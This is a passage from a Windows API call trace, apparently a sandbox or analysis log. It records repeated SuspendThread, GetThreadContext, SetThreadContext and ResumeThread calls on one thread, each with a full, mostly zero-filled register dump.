[95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0167.568] SetThreadContext (hThread=0x1d4, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f950, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0167.569] ResumeThread (hThread=0x1d4) returned 0x1 [0167.569] CloseHandle (hObject=0x1d4) returned 1 [0167.569] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0167.570] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0167.684] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x1d4) returned 1 [0167.684] SuspendThread (hThread=0x1d4) returned 0x0 [0167.684] GetThreadContext (in: hThread=0x1d4, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f9b8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f8aa420, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0167.688] SetThreadContext (hThread=0x1d4, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f9b0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0167.689] ResumeThread (hThread=0x1d4) returned 0x1 [0167.692] CloseHandle (hObject=0x1d4) returned 1 [0167.693] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0167.804] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0167.923] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x1d4) returned 1 [0167.923] SuspendThread (hThread=0x1d4) returned 0x0 [0167.923] GetThreadContext (in: hThread=0x1d4, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019fa10, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f8c9340, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0167.924] SetThreadContext (hThread=0x1d4, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019fa08, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, 